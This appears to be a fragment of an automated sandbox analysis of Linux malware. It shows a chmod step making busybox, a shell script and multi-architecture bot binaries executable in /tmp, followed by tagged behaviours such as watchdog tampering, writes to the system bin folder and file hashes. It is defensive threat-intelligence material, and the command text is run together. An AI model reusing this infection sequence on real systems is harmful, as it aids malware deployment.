/bin/chmodchmod +x busybox Chaotic config-err-fgz0zZ netplan_8t8fz7y8 ohshit.sh snap-private-tmp ssh-qSty3VPo67NU systemd-private-80ace563927b4de9a4d85e7a234e61df-bolt.service-NgOOuB systemd-private-80ace563927b4de9a4d85e7a234e61df-colord.service-ripmXI systemd-private-80ace563927b4de9a4d85e7a234e61df-ModemManager.service-BuVebX systemd-private-80ace563927b4de9a4d85e7a234e61df-systemd-resolved.service-ZhDmca ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_642⤵
- File and Directory Permissions Modification
PID:1655
-
-
/tmp/Chaotic./Chaotic2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1656
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD5fc32f8a67d1b0590d25d38c2614d72d9
SHA1be2059efd5d4fcd999672caa7970019eb160bf13
SHA2561bd4414e839b5d0be6d814d0d3daae5f64df063fb87865d32fbe815e02d587fa
SHA512b99e74e7b031a5f21b1fece80c6976718a33efb3da3c13949fa8053f1e47970f335766a4376f33edff2dfaf79b144669ef28387dc73e9ff34cb77c94b47b9047
-
Filesize
2.0MB
MD5b4dede5fc0b1bad5cb8e901bde126b97
SHA110cbe9a418ad84a1ed297948539d37aeb58dd810
SHA256a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
SHA51245665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
-
Filesize
113KB
MD567866b2fa89306af228090376b5ee71d
SHA1589a43771d9ced3e2c57b0f81b68d5c1870979b6
SHA25611ccfcb325127d662796d16aaf51a64ca1525239bee5b18591a7cca45a3c5fd5
SHA5127f67170a16b0f499a507c79d4ec70a4aaf2bc5de3b863440418b73203aff80bb3c4b3283b9601f30262c5cf197be86fbf473957b9f004ac9c815c7519bce72e4